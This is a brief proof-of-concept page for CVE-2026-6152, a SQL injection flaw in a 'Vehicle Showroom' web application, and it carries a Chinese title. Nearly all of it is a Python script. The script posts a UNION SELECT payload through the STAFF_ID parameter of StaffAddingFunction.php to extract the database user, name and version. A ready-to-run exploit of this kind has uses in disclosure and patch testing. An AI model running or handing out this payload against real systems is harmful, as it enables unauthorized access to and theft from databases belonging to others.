CVE-2026-6152 Vehicle Showroom SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target-host/util/StaffAddingFunction.php" # Malicious payload to test SQL injection # Attempting to perform a boolean-based blind injection or error-based payload = { "STAFF_ID": "1' UNION SELECT 1, user(), database(), version()--+" } try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Response:") print(response.text[:500]) # Print first 500 chars of response else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")